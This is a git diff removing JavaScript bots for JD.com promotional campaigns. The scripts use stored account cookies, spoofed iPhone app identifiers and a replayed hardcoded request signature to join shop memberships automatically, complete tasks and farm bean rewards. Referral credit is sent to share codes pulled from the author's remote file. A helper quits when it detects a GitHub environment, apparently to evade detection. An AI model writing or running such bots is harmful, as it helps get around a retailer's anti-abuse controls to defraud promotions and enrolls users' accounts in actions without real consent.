res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - // $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_guafen.js b/backUp/jd_lzdz1_guafen.js deleted file mode 100644 index d1fb56e..0000000 --- a/backUp/jd_lzdz1_guafen.js +++ /dev/null @@ -1,585 +0,0 @@ -/* -跨界宠粉 豪礼放送 -2021年10月31日 - 2021年11月13日 -https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/5063373?activityId=llk20211031b&shareUuid=2d23a36065d84f559b2c3afa75456631 -*/ -const $ = new Env("跨界宠粉 豪礼放送"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let authorCodeList = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_guafen.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - '2d23a36065d84f559b2c3afa75456631', - ] - } - // console.log(authorCodeList) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - // if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - // } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'llk20211031b' - $.activityShopId = '1000001195' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=undefined&lng=00.000000&lat=00.000000&sid=&un_area=` - await member(); - await $.wait(5000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function member() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('linkgame/activity/content', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - $.log("关注店铺") - await task('linkgame/follow/shop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - $.log("加入店铺会员") - if ($.openCardList) { - for (let i = 0; i < ($.openCardList.length); i++) { - $.log(">>> 模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000001373&pageId=llk20211020&elementId=入会跳转&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - - for (const vo of $.openCardList) { - $.log(`>>> 去加入${vo.name} ${vo.venderId}`) - if (vo.status === 0) { - await getShopOpenCardInfo({ "venderId": `${vo.venderId}`, "channel": "401" }, vo.venderId) - await bindWithVender({ "venderId": `${vo.venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.venderId) - await $.wait(2000) - } else { - $.log(`>>> 已经是会员`) - } - - } - } else { - $.log("没有获取到对应的任务。\n") - } - await task('linkgame/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - if ($.openCardStatus) { - // console.log('去助力 -> ' + $.authorCode) - if ($.openCardStatus.allOpenCard) { - await task('linkgame/assist/status', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) - await task('linkgame/assist', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${$.authorCode}`) - - } - } - await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - - await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) - if ($.TaskList) { - tasklist = $.TaskList - if (!$.TaskList.sign) { - await task('linkgame/sign', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } else { - console.log("已完成签到") - } - if (!$.TaskList.visitSku) { - for (const vo of tasklist.visitSkuList) { - if (vo.status === 0) { - await task('linkgame/browseGoods', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&value=${vo.goodsCode}`) - } - } - } else { - console.log("已完成浏览任务"); - } - if (!$.TaskList.addCart) { - await task('linkgame/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); - } else { - console.log("加购任务已完成") - } - } - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async 